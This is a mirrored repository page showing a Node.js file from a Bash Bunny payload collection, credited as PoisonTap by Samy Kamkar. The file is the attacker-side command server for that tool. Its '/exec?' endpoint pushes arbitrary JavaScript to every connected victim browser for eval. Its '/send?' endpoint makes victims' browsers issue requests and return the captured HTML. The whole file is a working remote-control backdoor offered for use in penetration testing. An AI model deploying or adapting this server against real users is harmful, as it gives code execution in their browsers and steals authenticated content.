mirror of
https://github.com/hak5/bashbunny-payloads.git
synced 2025-10-29 16:58:25 +00:00
94 lines
2.4 KiB
JavaScript
Executable File
94 lines
2.4 KiB
JavaScript
Executable File
// PoisonTap by Samy Kamkar - https://samy.pl/poisontap
|
|
|
|
//var _ = require('underscore')
|
|
var WebSocketServer = require('websocket').server
|
|
var webSocketsServerPort = 1337
|
|
var http = require('http')
|
|
var conns = []
|
|
var gr
|
|
var server = http.createServer((request, response) => {
|
|
console.log((new Date()) + ' HTTP server. URL ' + request.url + ' requested.')
|
|
|
|
if (request.url.indexOf('/exec?') === 0)
|
|
{
|
|
response.writeHead(404, {'Content-Type': 'text/html'})
|
|
for (var i in conns)
|
|
conns[i].sendUTF(JSON.stringify({ request: 'eval', content: request.url.substr(6) }))
|
|
response.end("sent")
|
|
}
|
|
else if (request.url.indexOf('/send?') === 0)
|
|
{
|
|
response.writeHead(404, {'Content-Type': 'text/html'})
|
|
for (var i in conns)
|
|
conns[i].sendUTF('{"' + decodeURI(request.url.substr(6)).replace(/"/g, '\\"').replace(/&/g, '","').replace(/=/g,'":"') + '"}')
|
|
var checkgr = () =>
|
|
{
|
|
if (gr)
|
|
{
|
|
response.end(gr)
|
|
gr = ""
|
|
}
|
|
else
|
|
setTimeout(checkgr, 500)
|
|
}
|
|
checkgr()
|
|
}
|
|
else if (request.url === '/status')
|
|
{
|
|
response.writeHead(200, {'Content-Type': 'application/json'})
|
|
var responseObject = {
|
|
currentClients: 1234,
|
|
totalHistory: 567
|
|
}
|
|
response.end(JSON.stringify(responseObject))
|
|
}
|
|
else {
|
|
response.writeHead(404, {'Content-Type': 'text/html'})
|
|
response.end('Sorry, unknown url')
|
|
}
|
|
})
|
|
server.listen(webSocketsServerPort, () => {
|
|
console.log((new Date()) + " Server is listening on port " + webSocketsServerPort)
|
|
})
|
|
|
|
// create the server
|
|
wsServer = new WebSocketServer({
|
|
httpServer: server
|
|
})
|
|
|
|
function handleReq(obj, con)
|
|
{
|
|
if (obj.request === 'getresponse')
|
|
gr = obj.html
|
|
}
|
|
|
|
wsServer.on('request', (request) => {
|
|
var obj
|
|
var connection = request.accept(null, request.origin)
|
|
conns.push(connection)
|
|
|
|
connection.on('request', (message) => {
|
|
console.log('request: ' + message)
|
|
})
|
|
|
|
connection.on('message', (message) => {
|
|
try { obj = JSON.parse(message.utf8Data) } catch(e) { }
|
|
console.log('message: ' + message.utf8Data)
|
|
console.log(obj)
|
|
|
|
if (typeof(obj) === 'object')
|
|
handleReq(obj, connection)
|
|
else
|
|
connection.sendUTF('hello')
|
|
})
|
|
|
|
// remove connection from our list
|
|
connection.on('close', connection => {
|
|
console.log('connection closed')
|
|
for (var i in conns)
|
|
if (conns[i] == connection)
|
|
//if (_.isEqual(conns[i], connection)) // XXX
|
|
conn.splice(i, 1)
|
|
})
|
|
})
|